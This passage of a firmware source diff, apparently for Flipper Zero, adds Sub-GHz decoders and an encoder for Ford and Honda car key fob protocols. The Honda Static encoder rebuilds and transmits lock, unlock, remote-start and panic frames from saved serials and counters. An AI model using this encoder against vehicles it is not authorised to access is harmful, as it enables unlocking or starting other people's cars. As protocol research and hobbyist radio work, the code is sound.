@@ -255,9 +447,7 @@ SubGhzProtocolStatus
SubGhzProtocolDecoderFordV3* instance = context;
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_ford_v3_const.min_count_bit_for_found);
&instance->generic, flipper_format, subghz_protocol_ford_v3_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
return ret;
@@ -272,7 +462,13 @@ SubGhzProtocolStatus
flipper_format_rewind(flipper_format);
flipper_format_read_hex(flipper_format, "Raw", instance->raw_bytes, FORD_V3_DATA_BYTES);
instance->bit_count = FORD_V3_DATA_BITS;
uint32_t variant = UINT32_MAX;
if(!flipper_format_read_uint32(flipper_format, FORD_V3_FF_VARIANT, &variant, 1)) {
variant = UINT32_MAX;
}
instance->variant = ford_v3_variant_from_saved_or_raw(instance->raw_bytes, variant);
instance->manchester_bit_count = FORD_V3_DATA_BITS;
ford_v3_parse_fields(instance);
return ret;
@@ -284,6 +480,39 @@ void subghz_protocol_decoder_ford_v3_get_string(void* context, FuriString* outpu
SubGhzProtocolDecoderFordV3* instance = context;
const uint8_t* k = instance->raw_bytes;
if(instance->variant == FORD_V3_VARIANT_US) {
furi_string_cat_printf(
output,
"%s US %dbit\r\n"
"Key:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\r\n"
"Sn:%08lX Btn:%02X %s\r\n"
"Cnt:%04X Hop:%02X%02X%02X%02X\r\n",
instance->generic.protocol_name,
(int)instance->generic.data_count_bit,
k[0],
k[1],
k[2],
k[3],
k[4],
k[5],
k[6],
k[7],
k[8],
k[9],
k[10],
k[11],
k[12],
(unsigned long)instance->generic.serial,
instance->generic.btn,
ford_v3_button_name(instance->generic.btn, FORD_V3_VARIANT_US),
(unsigned)instance->counter,
k[9],
k[10],
k[11],
k[12]);
return;
}
furi_string_cat_printf(
output,
"%s %dbit\r\n"
@@ -307,7 +536,7 @@ void subghz_protocol_decoder_ford_v3_get_string(void* context, FuriString* outpu
k[12],
(unsigned long)instance->generic.serial,
instance->generic.btn,
ford_v3_button_name(instance->generic.btn),
ford_v3_button_name(instance->generic.btn, FORD_V3_VARIANT_EU),
(unsigned)instance->counter,
k[9],
k[10],
@@ -315,14 +544,9 @@ void subghz_protocol_decoder_ford_v3_get_string(void* context, FuriString* outpu
k[12]);
}
static void subghz_protocol_decoder_ford_v3_free_impl(void* context) {{
furi_check(context);
free(context);
}}
const SubGhzProtocolDecoder subghz_protocol_ford_v3_decoder = {
.alloc = subghz_protocol_decoder_ford_v3_alloc,
.free = subghz_protocol_decoder_ford_v3_free_impl,
.free = subghz_protocol_decoder_ford_v3_free,
.feed = subghz_protocol_decoder_ford_v3_feed,
.reset = subghz_protocol_decoder_ford_v3_reset,
.get_hash_data = subghz_protocol_decoder_ford_v3_get_hash_data,
@@ -342,8 +566,9 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v3_encoder = {
const SubGhzProtocol ford_protocol_v3 = {
.name = FORD_PROTOCOL_V3_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
SubGhzProtocolFlag_Save,
.decoder = &subghz_protocol_ford_v3_decoder,
.encoder = &subghz_protocol_ford_v3_encoder,
};
+724
View File
@@ -0,0 +1,724 @@
#include "honda_static.h"
#include "../blocks/const.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include <string.h>
#include <lib/toolbox/level_duration.h>
#define HONDA_STATIC_BIT_COUNT 64
#define HONDA_STATIC_MIN_SYMBOLS 36
#define HONDA_STATIC_SHORT_BASE_US 28
#define HONDA_STATIC_SHORT_SPAN_US 70
#define HONDA_STATIC_LONG_BASE_US 61
#define HONDA_STATIC_LONG_SPAN_US 130
#define HONDA_STATIC_SYNC_TIME_US 700
#define HONDA_STATIC_ELEMENT_TIME_US 63
#define HONDA_STATIC_UPLOAD_CAPACITY \
(1U + HONDA_STATIC_PREAMBLE_ALTERNATING_COUNT + (2U * HONDA_STATIC_BIT_COUNT) + 1U)
#define HONDA_STATIC_SYMBOL_CAPACITY 512
#define HONDA_STATIC_PREAMBLE_ALTERNATING_COUNT 160
#define HONDA_STATIC_PREAMBLE_MAX_TRANSITIONS 19
#define HONDA_STATIC_SYMBOL_BYTE_COUNT ((HONDA_STATIC_SYMBOL_CAPACITY + 7U) / 8U)
static const uint8_t honda_static_encoder_button_map[4] = {0x02, 0x04, 0x08, 0x05};
static const char* const honda_static_button_names[9] = {
"Lock",
"Unlock",
"Unknown",
"Trunk",
"Remote Start",
"Unknown",
"Unknown",
"Panic",
"Lock x2",
};
typedef struct {
uint8_t button;
uint32_t serial;
uint32_t counter;
uint8_t checksum;
} HondaStaticFields;
struct SubGhzProtocolDecoderHondaStatic {
SubGhzProtocolDecoderBase base;
SubGhzBlockGeneric generic;
uint8_t symbols[HONDA_STATIC_SYMBOL_BYTE_COUNT];
uint16_t symbols_count;
};
struct SubGhzProtocolEncoderHondaStatic {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
HondaStaticFields decoded;
uint8_t tx_button;
};
static void honda_static_decoder_commit(
SubGhzProtocolDecoderHondaStatic* instance,
const HondaStaticFields* decoded);
static void honda_static_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
for(size_t index = 0; index < 8; index++) {
bytes[index] = (data >> ((7U - index) * 8U)) & 0xFFU;
}
}
static uint64_t honda_static_bytes_to_u64_be(const uint8_t bytes[8]) {
uint64_t data = 0;
for(size_t index = 0; index < 8; index++) {
data = (data << 8U) | bytes[index];
}
return data;
}
static uint8_t honda_static_reverse_bits8(uint8_t x) {
x = (uint8_t)(((x & 0xAAU) >> 1U) | ((x & 0x55U) << 1U));
x = (uint8_t)(((x & 0xCCU) >> 2U) | ((x & 0x33U) << 2U));
return (uint8_t)((x >> 4U) | (x << 4U));
}
static uint8_t honda_static_get_bits(const uint8_t* data, uint8_t start, uint8_t count) {
uint32_t value = 0;
for(uint8_t i = 0; i < count; i++) {
const uint8_t bit_index = start + i;
const uint8_t byte = data[bit_index >> 3U];
const uint8_t shift = (uint8_t)(~bit_index) & 0x07U;
value = (value << 1U) | ((byte >> shift) & 1U);
}
return (uint8_t)value;
}
static uint32_t honda_static_get_bits_u32(const uint8_t* data, uint8_t start, uint8_t count) {
uint32_t value = 0;
for(uint8_t i = 0; i < count; i++) {
const uint8_t bit_index = start + i;
const uint8_t byte = data[bit_index >> 3U];
const uint8_t shift = (uint8_t)(~bit_index) & 0x07U;
value = (value << 1U) | ((byte >> shift) & 1U);
}
return value;
}
static void honda_static_set_bits(uint8_t* data, uint8_t start, uint8_t count, uint32_t value) {
for(uint8_t i = 0; i < count; i++) {
const uint8_t bit_index = start + i;
const uint8_t byte_index = bit_index >> 3U;
const uint8_t shift = ((uint8_t)~bit_index) & 0x07U;
const uint8_t mask = (uint8_t)(1U << shift);
const bool bit = ((value >> (count - 1U - i)) & 1U) != 0U;
if(bit) {
data[byte_index] |= mask;
} else {
data[byte_index] &= (uint8_t)~mask;
}
}
}
static uint8_t honda_static_level_u8(bool level) {
return level ? 1U : 0U;
}
static void honda_static_symbol_set(uint8_t* buf, uint16_t index, uint8_t v) {
const uint8_t byte_index = (uint8_t)(index >> 3U);
const uint8_t shift = (uint8_t)(~index) & 0x07U;
const uint8_t mask = (uint8_t)(1U << shift);
if(v) {
buf[byte_index] |= mask;
} else {
buf[byte_index] &= (uint8_t)~mask;
}
}
static uint8_t honda_static_symbol_get(const uint8_t* buf, uint16_t index) {
const uint8_t byte_index = (uint8_t)(index >> 3U);
const uint8_t shift = (uint8_t)(~index) & 0x07U;
return (uint8_t)((buf[byte_index] >> shift) & 1U);
}
static bool honda_static_is_valid_button(uint8_t button) {
if(button > 9U) return false;
return ((0x336U >> button) & 1U) != 0U;
}
static bool honda_static_is_valid_serial(uint32_t serial) {
return (serial != 0U) && (serial != 0x0FFFFFFFU);
}
static uint8_t honda_static_encoder_remap_button(uint8_t button) {
if(button < 2U) return 1U;
button -= 2U;
if(button <= 3U) return honda_static_encoder_button_map[button];
return 1U;
}
static const char* honda_static_button_name(uint8_t button) {
if((button >= 1U) && (button <= COUNT_OF(honda_static_button_names))) {
return honda_static_button_names[button - 1U];
}
return "Unknown";
}
static uint8_t honda_static_compact_bytes_checksum(const uint8_t compact[8]) {
const uint8_t canonical[7] = {
(uint8_t)((compact[0] << 4U) | (compact[1] >> 4U)),
(uint8_t)((compact[1] << 4U) | (compact[2] >> 4U)),
(uint8_t)((compact[2] << 4U) | (compact[3] >> 4U)),
(uint8_t)((compact[3] << 4U) | (compact[4] >> 4U)),
compact[5],
compact[6],
compact[7],
};
uint8_t checksum = 0U;
for(size_t i = 0; i < COUNT_OF(canonical); i++) {
checksum ^= canonical[i];
}
return checksum;
}
static void honda_static_unpack_compact(uint64_t key, HondaStaticFields* fields) {
uint8_t compact[8];
honda_static_u64_to_bytes_be(key, compact);
memset(fields, 0, sizeof(*fields));
fields->button = compact[0] & 0x0FU;
fields->serial = ((uint32_t)compact[1] << 20U) | ((uint32_t)compact[2] << 12U) |
((uint32_t)compact[3] << 4U) | ((uint32_t)compact[4] >> 4U);
fields->counter = ((uint32_t)compact[5] << 16U) | ((uint32_t)compact[6] << 8U) |
(uint32_t)compact[7];
fields->checksum = honda_static_compact_bytes_checksum(compact);
}
static uint64_t honda_static_pack_compact(const HondaStaticFields* fields) {
uint8_t compact[8];
compact[0] = fields->button & 0x0FU;
compact[1] = (uint8_t)(fields->serial >> 20U);
compact[2] = (uint8_t)(fields->serial >> 12U);
compact[3] = (uint8_t)(fields->serial >> 4U);
compact[4] = (uint8_t)(fields->serial << 4U);
compact[5] = (uint8_t)(fields->counter >> 16U);
compact[6] = (uint8_t)(fields->counter >> 8U);
compact[7] = (uint8_t)fields->counter;
return honda_static_bytes_to_u64_be(compact);
}
static void honda_static_build_packet_bytes(const HondaStaticFields* fields, uint8_t packet[8]) {
memset(packet, 0, 8);
honda_static_set_bits(packet, 0, 4, fields->button & 0x0FU);
honda_static_set_bits(packet, 4, 28, fields->serial);
honda_static_set_bits(packet, 32, 24, fields->counter);
uint8_t checksum = 0U;
for(size_t i = 0; i < 7; i++) {
checksum ^= packet[i];
}
honda_static_set_bits(packet, 56, 8, checksum);
}
static bool honda_static_validate_forward_packet(const uint8_t packet[9], HondaStaticFields* fields) {
const uint8_t button = honda_static_get_bits(packet, 0, 4);
const uint32_t serial = honda_static_get_bits_u32(packet, 4, 28);
const uint32_t counter = honda_static_get_bits_u32(packet, 32, 24);
const uint8_t checksum = honda_static_get_bits(packet, 56, 8);
uint8_t checksum_calc = 0U;
for(size_t i = 0; i < 7; i++) {
checksum_calc ^= packet[i];
}
if(checksum != checksum_calc) return false;
if(!honda_static_is_valid_button(button)) return false;
if(!honda_static_is_valid_serial(serial)) return false;
fields->button = button;
fields->serial = serial;
fields->counter = counter;
fields->checksum = checksum;
return true;
}
static bool honda_static_validate_reverse_packet(const uint8_t packet[9], HondaStaticFields* fields) {
uint8_t reversed[9];
for(size_t i = 0; i < COUNT_OF(reversed); i++) {
reversed[i] = honda_static_reverse_bits8(packet[i]);
}
const uint8_t button = honda_static_get_bits(reversed, 0, 4);
const uint32_t serial = honda_static_get_bits_u32(reversed, 4, 28);
const uint32_t counter = honda_static_get_bits_u32(reversed, 32, 24);
uint8_t checksum = 0U;
for(size_t i = 0; i < 7; i++) {
checksum ^= reversed[i];
}
if(!honda_static_is_valid_button(button)) return false;
if(!honda_static_is_valid_serial(serial)) return false;
fields->button = button;
fields->serial = serial;
fields->counter = counter;
fields->checksum = checksum;
return true;
}
static bool honda_static_manchester_pack_64(
const uint8_t* symbol_bits,
uint16_t count,
uint16_t start_pos,
bool inverted,
uint8_t packet[9],
uint16_t* out_bit_count) {
memset(packet, 0, 9);
uint16_t pos = start_pos;
uint16_t bit_count = 0U;
while((uint16_t)(pos + 1U) < count) {
if(bit_count >= HONDA_STATIC_BIT_COUNT) break;
const uint8_t a = honda_static_symbol_get(symbol_bits, pos);
const uint8_t b = honda_static_symbol_get(symbol_bits, pos + 1U);
if(a == b) {
pos++;
continue;
}
bool bit = false;
if(inverted) {
bit = (a == 0U) && (b == 1U);
} else {
bit = (a == 1U) && (b == 0U);
}
if(bit) {
packet[bit_count >> 3U] |= (uint8_t)(1U << (((uint8_t)~bit_count) & 0x07U));
}
bit_count++;
pos += 2U;
}
if(out_bit_count) {
*out_bit_count = bit_count;
}
return bit_count >= HONDA_STATIC_BIT_COUNT;
}
static bool honda_static_parse_symbols(SubGhzProtocolDecoderHondaStatic* instance, bool inverted) {
const uint16_t count = instance->symbols_count;
const uint8_t* symbol_bits = instance->symbols;
HondaStaticFields decoded;
uint16_t index = 1U;
uint16_t transitions = 0U;
while(index < count) {
if(honda_static_symbol_get(symbol_bits, index) !=
honda_static_symbol_get(symbol_bits, index - 1U)) {
transitions++;
} else {
if(transitions > HONDA_STATIC_PREAMBLE_MAX_TRANSITIONS) break;
transitions = 0U;
}
index++;
}
if(index >= count) return false;
while(((uint16_t)(index + 1U) < count) && (honda_static_symbol_get(symbol_bits, index) ==
honda_static_symbol_get(symbol_bits, index + 1U))) {
index++;
}
const uint16_t data_start = index;
uint8_t packet[9] = {0};
uint16_t bit_count = 0U;
if(!honda_static_manchester_pack_64(
symbol_bits, count, data_start, inverted, packet, &bit_count)) {
return false;
}
if(honda_static_validate_forward_packet(packet, &decoded)) {
honda_static_decoder_commit(instance, &decoded);
return true;
}
if(inverted) return false;
if(honda_static_validate_reverse_packet(packet, &decoded)) {
honda_static_decoder_commit(instance, &decoded);
return true;
}
return false;
}
static void honda_static_decoder_commit(
SubGhzProtocolDecoderHondaStatic* instance,
const HondaStaticFields* decoded) {
instance->generic.data_count_bit = HONDA_STATIC_BIT_COUNT;
instance->generic.data = honda_static_pack_compact(decoded);
instance->generic.serial = decoded->serial;
instance->generic.cnt = decoded->counter;
instance->generic.btn = decoded->button;
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
}
static void honda_static_build_upload(SubGhzProtocolEncoderHondaStatic* instance) {
uint8_t packet[8];
honda_static_build_packet_bytes(&instance->decoded, packet);
size_t index = 0U;
LevelDuration* up = instance->encoder.upload;
const size_t cap = HONDA_STATIC_UPLOAD_CAPACITY;
if(index < cap) {
up[index++] = level_duration_make(true, HONDA_STATIC_SYNC_TIME_US);
}
for(size_t i = 0; i < HONDA_STATIC_PREAMBLE_ALTERNATING_COUNT; i++) {
if(index < cap) {
up[index++] = level_duration_make((i & 1U) != 0U, HONDA_STATIC_ELEMENT_TIME_US);
}
}
for(uint8_t bit = 0U; bit < HONDA_STATIC_BIT_COUNT; bit++) {
const bool value = ((packet[bit >> 3U] >> (((uint8_t)~bit) & 0x07U)) & 1U) != 0U;
if(index < cap) {
up[index++] = level_duration_make(!value, HONDA_STATIC_ELEMENT_TIME_US);
}
if(index < cap) {
up[index++] = level_duration_make(value, HONDA_STATIC_ELEMENT_TIME_US);
}
}
const bool last_bit = (packet[7] & 1U) != 0U;
if(index < cap) {
up[index++] = level_duration_make(!last_bit, HONDA_STATIC_SYNC_TIME_US);
}
instance->encoder.front = 0U;
instance->encoder.size_upload = index;
}
const SubGhzProtocolDecoder honda_static_decoder = {
.alloc = subghz_protocol_decoder_honda_static_alloc,
.free = subghz_protocol_decoder_honda_static_free,
.feed = subghz_protocol_decoder_honda_static_feed,
.reset = subghz_protocol_decoder_honda_static_reset,
.get_hash_data = subghz_protocol_decoder_honda_static_get_hash_data,
.serialize = subghz_protocol_decoder_honda_static_serialize,
.deserialize = subghz_protocol_decoder_honda_static_deserialize,
.get_string = subghz_protocol_decoder_honda_static_get_string,
};
const SubGhzProtocolEncoder honda_static_encoder = {
.alloc = subghz_protocol_encoder_honda_static_alloc,
.free = subghz_protocol_encoder_honda_static_free,
.deserialize = subghz_protocol_encoder_honda_static_deserialize,
.stop = subghz_protocol_encoder_honda_static_stop,
.yield = subghz_protocol_encoder_honda_static_yield,
};
const SubGhzProtocol honda_static_protocol = {
.name = HONDA_STATIC_PROTOCOL_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 |
SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Load |
SubGhzProtocolFlag_Send,
.decoder = &honda_static_decoder,
.encoder = &honda_static_encoder,
};
void* subghz_protocol_encoder_honda_static_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderHondaStatic* instance = malloc(sizeof(SubGhzProtocolEncoderHondaStatic));
furi_check(instance);
memset(instance, 0, sizeof(*instance));
instance->base.protocol = &honda_static_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3U;
instance->encoder.size_upload = HONDA_STATIC_UPLOAD_CAPACITY;
instance->encoder.upload = malloc(HONDA_STATIC_UPLOAD_CAPACITY * sizeof(LevelDuration));
furi_check(instance->encoder.upload);
return instance;
}
void subghz_protocol_encoder_honda_static_free(void* context) {
furi_check(context);
SubGhzProtocolEncoderHondaStatic* instance = context;
free(instance->encoder.upload);
free(instance);
}
SubGhzProtocolStatus
subghz_protocol_encoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolEncoderHondaStatic* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0U;
FuriString* temp_str = furi_string_alloc();
if(!temp_str) return SubGhzProtocolStatusError;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
furi_string_free(temp_str);
return SubGhzProtocolStatusError;
}
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
furi_string_free(temp_str);
return SubGhzProtocolStatusError;
}
furi_string_free(temp_str);
uint64_t key = 0;
uint8_t key_bytes[8] = {0};
flipper_format_rewind(flipper_format);
if(!flipper_format_read_hex(flipper_format, "Key", key_bytes, 8)) {
return SubGhzProtocolStatusError;
}
key = honda_static_bytes_to_u64_be(key_bytes);
honda_static_unpack_compact(key, &instance->decoded);
uint32_t serial = instance->decoded.serial;
uint32_t btn_u32 = instance->decoded.button;
uint32_t cnt = instance->decoded.counter & 0x00FFFFFFU;
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Serial", &serial, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Btn", &btn_u32, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1);
instance->decoded.serial = serial;
uint8_t b = (uint8_t)btn_u32;
if(honda_static_is_valid_button(b)) {
instance->decoded.button = b;
} else if(b >= 2U && b <= 5U) {
instance->decoded.button = honda_static_encoder_remap_button(b);
}
instance->decoded.counter = cnt & 0x00FFFFFFU;
instance->generic.serial = instance->decoded.serial;
instance->generic.cnt = instance->decoded.counter;
instance->generic.btn = instance->decoded.button;
instance->generic.data_count_bit = HONDA_STATIC_BIT_COUNT;
instance->generic.data = honda_static_pack_compact(&instance->decoded);
honda_static_u64_to_bytes_be(instance->generic.data, key_bytes);
flipper_format_rewind(flipper_format);
if(!flipper_format_update_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes))) {
return SubGhzProtocolStatusErrorParserOthers;
}
flipper_format_rewind(flipper_format);
uint32_t repeat = 3U;
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
instance->encoder.repeat = (size_t)repeat;
honda_static_build_upload(instance);
instance->encoder.is_running = true;
return SubGhzProtocolStatusOk;
}
void subghz_protocol_encoder_honda_static_stop(void* context) {
SubGhzProtocolEncoderHondaStatic* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_honda_static_yield(void* context) {
SubGhzProtocolEncoderHondaStatic* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return duration;
}
void* subghz_protocol_decoder_honda_static_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderHondaStatic* instance = malloc(sizeof(SubGhzProtocolDecoderHondaStatic));
furi_check(instance);
memset(instance, 0, sizeof(*instance));
instance->base.protocol = &honda_static_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_honda_static_free(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
free(instance);
}
void subghz_protocol_decoder_honda_static_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
instance->symbols_count = 0U;
}
void subghz_protocol_decoder_honda_static_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
const uint8_t sym = honda_static_level_u8(level);
if((duration >= HONDA_STATIC_SHORT_BASE_US) &&
((duration - HONDA_STATIC_SHORT_BASE_US) <= HONDA_STATIC_SHORT_SPAN_US)) {
if(instance->symbols_count < HONDA_STATIC_SYMBOL_CAPACITY) {
honda_static_symbol_set(instance->symbols, instance->symbols_count, sym);
instance->symbols_count++;
}
return;
}
if((duration >= HONDA_STATIC_LONG_BASE_US) &&
((duration - HONDA_STATIC_LONG_BASE_US) <= HONDA_STATIC_LONG_SPAN_US)) {
if((uint16_t)(instance->symbols_count + 2U) <= HONDA_STATIC_SYMBOL_CAPACITY) {
honda_static_symbol_set(instance->symbols, instance->symbols_count, sym);
instance->symbols_count++;
honda_static_symbol_set(instance->symbols, instance->symbols_count, sym);
instance->symbols_count++;
}
return;
}
const uint16_t sc = instance->symbols_count;
if(sc >= HONDA_STATIC_MIN_SYMBOLS) {
if(!honda_static_parse_symbols(instance, true)) {
honda_static_parse_symbols(instance, false);
}
}
instance->symbols_count = 0U;
}
uint8_t subghz_protocol_decoder_honda_static_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
const uint64_t data = instance->generic.data;
return (uint8_t)(data ^ (data >> 8U) ^ (data >> 16U) ^ (data >> 24U) ^ (data >> 32U) ^
(data >> 40U) ^ (data >> 48U) ^ (data >> 56U));
}
void subghz_protocol_decoder_honda_static_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
HondaStaticFields decoded;
honda_static_unpack_compact(instance->generic.data, &decoded);
furi_string_printf(
output,
"%s\r\n"
"Key:%016llX\r\n"
"Btn:%s\r\n"
"Ser:%07lX Cnt:%06lX",
instance->generic.protocol_name,
(unsigned long long)instance->generic.data,
honda_static_button_name(decoded.button),
(unsigned long)decoded.serial,
(unsigned long)decoded.counter);
}
SubGhzProtocolStatus subghz_protocol_decoder_honda_static_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
instance->generic.data_count_bit = HONDA_STATIC_BIT_COUNT;
HondaStaticFields decoded;
honda_static_unpack_compact(instance->generic.data, &decoded);
SubGhzProtocolStatus status =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(status != SubGhzProtocolStatusOk) {
return status;
}
if(!flipper_format_write_uint32(flipper_format, "Serial", &decoded.serial, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t btn_u32 = decoded.button;
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn_u32, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
if(!flipper_format_write_uint32(flipper_format, "Cnt", &decoded.counter, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
uint32_t temp = decoded.checksum;
if(!flipper_format_write_uint32(flipper_format, "Checksum", &temp, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
return SubGhzProtocolStatusOk;
}
SubGhzProtocolStatus
subghz_protocol_decoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderHondaStatic* instance = context;
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, HONDA_STATIC_BIT_COUNT);
if(status != SubGhzProtocolStatusOk) {
return status;
}
HondaStaticFields decoded;
honda_static_unpack_compact(instance->generic.data, &decoded);
uint32_t s = decoded.serial;
uint32_t b = decoded.button;
uint32_t c = decoded.counter;
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Serial", &s, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Btn", &b, 1);
flipper_format_rewind(flipper_format);
flipper_format_read_uint32(flipper_format, "Cnt", &c, 1);
decoded.serial = s;
decoded.button = (uint8_t)b;
decoded.counter = c & 0x00FFFFFFU;
instance->generic.data = honda_static_pack_compact(&decoded);
instance->generic.serial = decoded.serial;
instance->generic.cnt = decoded.counter;
instance->generic.btn = decoded.button;
return SubGhzProtocolStatusOk;
}
+38
View File
@@ -0,0 +1,38 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <flipper_format/flipper_format.h>
#define HONDA_STATIC_PROTOCOL_NAME "Honda Static"
typedef struct SubGhzProtocolDecoderHondaStatic SubGhzProtocolDecoderHondaStatic;
typedef struct SubGhzProtocolEncoderHondaStatic SubGhzProtocolEncoderHondaStatic;
extern const SubGhzProtocol honda_static_protocol;
void* subghz_protocol_decoder_honda_static_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_honda_static_free(void* context);
void subghz_protocol_decoder_honda_static_reset(void* context);
void subghz_protocol_decoder_honda_static_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_honda_static_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_honda_static_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_honda_static_get_string(void* context, FuriString* output);
void* subghz_protocol_encoder_honda_static_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_honda_static_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_honda_static_stop(void* context);
LevelDuration subghz_protocol_encoder_honda_static_yield(void* context);
+808
View File
@@ -0,0 +1,808 @@
#include "honda_v1.h"
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include <string.h>
#include <lib/toolbox/level_duration.h>
#define HONDA_V1_BIT_COUNT 68
#define HONDA_V1_TE_SHORT 1000
#define HONDA_V1_TE_LONG 2000
#define HONDA_V1_TE_DELTA 400
#define HONDA_V1_TE_SHORT_MIN 600
#define HONDA_V1_TE_END 3500
#define HONDA_V1_VALID_MAX 0x4B
#define HONDA_V1_NIBBLE_MASK 0x0FU
#define HONDA_V1_SERIAL_MASK 0x0FFFFFFFU
#define HONDA_V1_COUNTER_MASK 0xFFFFU
#define HONDA_V1_LOW32_MASK 0xFFFFFFFFULL
#define HONDA_V1_BUTTON_MAX 10U
#define HONDA_V1_BUTTON_VALID_MASK 0x701U
#define HONDA_V1_BUTTON_FALLBACK_CODE 0x00088888U
#define HONDA_V1_UPLOAD_CAPACITY 2048U
#define HONDA_V1_PREAMBLE_UPLOAD_COUNT 180U
#define HONDA_V1_FRAME_SYMBOLS 80U
#define HONDA_V1_FRAME_START 12U
#define HONDA_V1_FRAME_SYNC_DROP 2U
#define HONDA_V1_FRAME_REPEAT_PER_CRC 2U
#define HONDA_V1_FRAME_BYTES 9U
#define HONDA_V1_FRAME_CRC_INDEX 8U
#define HONDA_V1_FRAME_GAP_US 5000U
#define HONDA_V1_FRAME_GENERATED_MAX (HONDA_V1_FRAME_SYMBOLS * 2U)
#define HONDA_V1_FRAME_TAIL_MAX 3U
#define HONDA_V1_DECODE_BUFFER_BYTES 12U
#define HONDA_V1_KEY_BYTES 8U
#define HONDA_V1_CRC_FIELD "Crc"
#define HONDA_V1_KEY_2_FIELD "Key_2"
typedef enum {
HondaV1DecoderStepReset = 0,
HondaV1DecoderStepPreamble,
HondaV1DecoderStepData,
} HondaV1DecoderStep;
typedef enum {
HondaV1ButtonUnlock = 0,
HondaV1ButtonLock = 8,
HondaV1ButtonTrunk = 9,
HondaV1ButtonPanic = 10,
} HondaV1Button;
static const char* const honda_v1_button_names[HONDA_V1_BUTTON_MAX + 1U] = {
[HondaV1ButtonUnlock] = "Unlock",
[HondaV1ButtonLock] = "Lock",
[HondaV1ButtonTrunk] = "Trunk",
[HondaV1ButtonPanic] = "Panic",
};
static const uint32_t honda_v1_button_codes[HONDA_V1_BUTTON_MAX + 1U] = {
[HondaV1ButtonUnlock] = 0x00080808,
[HondaV1ButtonLock] = 0x00088888,
[HondaV1ButtonTrunk] = 0x00099190,
[HondaV1ButtonPanic] = 0x000FA7A0,
};
struct SubGhzProtocolDecoderHondaV1 {
